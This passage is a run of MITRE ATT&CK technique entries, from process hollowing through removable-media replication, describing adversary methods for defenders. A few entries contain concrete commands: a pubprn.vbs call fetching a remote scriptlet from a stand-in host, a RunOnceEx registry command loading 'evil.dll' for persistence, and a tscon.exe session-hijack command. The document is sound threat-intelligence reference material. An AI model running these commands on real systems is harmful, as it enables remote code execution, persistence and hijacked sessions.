Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocExWriteProcessMemorySetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)

This is very similar to Thread Local Storage but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process.
T1055Process InjectionAdversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.

More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.
T1001.003Protocol ImpersonationAdversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic.

Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity.
T1572Protocol TunnelingAdversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.

There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling)

Protocol Tunneling may also be abused by adversaries during Dynamic Resolution. Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19)

Adversaries may also leverage Protocol Tunneling in conjunction with Proxy and/or Protocol Impersonation to further conceal C2 communications and infrastructure.
T1090ProxyAdversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.

Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.
T1055.008Ptrace System CallsAdversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.

Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018)

Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject)

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.
T1216.001PubPrnAdversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)

Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:[https://mydomain.com/folder/file.sct](https://mydomain.com/folder/file.sct). This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.

In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).
T1597.002Purchase Technical DataAdversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.

Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).
T1059.006PythonAdversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.

Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.
T1012Query RegistryAdversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.

The Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the Reg utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from Query Registry during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
T1037.004RC ScriptsAdversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.

Adversaries can establish persistence by adding a malicious binary path or shell commands to rc.localrc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script’s contents as root, resulting in persistence.

Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)

Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd. (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)
T1163Rc.commonDuring the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.

Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).
T1563.002RDP HijackingAdversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)

Adversaries may perform RDP session hijacking which involves stealing a legitimate user’s remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, c:\windows\system32\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)
T1164Re-opened ApplicationsStarting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist.

An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).
T1547.007Re-opened ApplicationsAdversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to “Reopen windows when logging back in”.(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user’s next logon.

Adversaries can establish Persistence by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in.
T1600.001Reduce Key SpaceAdversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)

Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.

Adversaries may modify the key size used and other encryption parameters using specialized commands in a Network Device CLI introduced to the system through Modify System Image to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)
T1108Redundant AccessThis technique has been deprecated. Please use Create AccountWeb Shell, and External Remote Services where appropriate.

Adversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated.

If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary’s tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.

Use of a Web Shell is one such way to maintain access to a network through an externally accessible Web server.
T1498.002Reflection AmplificationAdversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.

Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)
T1620Reflective Code LoadingAdversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL)

Reflective code injection is very similar to Process Injection except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)
T1060Registry Run Keys / Startup FolderAdversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the “run keys” in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account’s associated permissions level.

Placing a program within a startup folder will cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.

The startup folder path for the current user is:

- C:\Users[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
The startup folder path for all users is:
- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

The following run keys are created by default on Windows systems:

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a “Depend” key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d “C:\temp\evil[.]dll” (Citation: Oddvar Moe RunOnceEx Mar 2018)

The following Registry keys can be used to set startup folder items for persistence:

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

The following Registry keys can control automatic startup of services during boot:

- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.

Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.
T1547.001Registry Run Keys / Startup FolderAdversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the “run keys” in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account’s associated permissions level.

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.

The following run keys are created by default on Windows systems:

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a “Depend” key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d “C:\temp\evil[.]dll” (Citation: Oddvar Moe RunOnceEx Mar 2018)

The following Registry keys can be used to set startup folder items for persistence:

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

The following Registry keys can control automatic startup of services during boot:

- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.

Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.
T1121Regsvcs/RegasmRegsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)

Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)
T1218.009Regsvcs/RegasmAdversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)

Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)
T1117Regsvr32Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)

Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.

Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a “Squiblydoo” attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016)
T1218.010Regsvr32Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)

Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a “Squiblydoo” and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016)
T1219Remote Access SoftwareAn adversary may use legitimate desktop support and remote access software, such as Team Viewer, AnyDesk, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.(Citation: Symantec Living off the Land)

Remote access tools may be installed and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system. Installation of many remote access tools may also include persistence (ex: the tool’s installation routine creates a Windows Service).

Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns.(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)
T1074.002Remote Data StagingAdversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.

In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may Create Cloud Instance and stage data in that instance.(Citation: Mandiant M-Trends 2020)

By staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.
T1076Remote Desktop ProtocolRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS.

Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence. (Citation: Alperovitch Malware)

Adversaries may also perform RDP session hijacking which involves stealing a legitimate user’s remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\windows\system32\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)
T1021.001Remote Desktop ProtocolAdversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)

Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features or Terminal Services DLL for Persistence.(Citation: Alperovitch Malware)
T1114.002Remote Email CollectionAdversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user’s credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as MailSniper can be used to automate searches for specific keywords.
T1563Remote Service Session HijackingAdversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.

Adversaries may commandeer these sessions to carry out actions on remote systems. Remote Service Session Hijacking differs from use of Remote Services because it hijacks an existing session rather than creating a new session using Valid Accounts.(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)
T1021Remote ServicesAdversaries may use Valid Accounts to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.

In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain.

Legitimate applications (such as Software Deployment Tools and other administrative programs) may utilize Remote Services to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including VNC to send the screen and control buffers and SSH for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)
T1018Remote System DiscoveryAdversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or net view using Net.

Adversaries may also analyze data from local host files (ex: C:\Windows\System32\Drivers\etc\hosts or /etc/hosts) or other passive means (such as local Arp cache entries) in order to discover the presence of remote systems in an environment.

Adversaries may also target discovery of network infrastructure as well as leverage Network Device CLI commands on network devices to gather detailed information about systems within a network (e.g. show cdp neighborsshow arp).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021)
T1036.003Rename System UtilitiesAdversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)
T1091Replication Through Removable MediaAdversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media’s firmware itself.

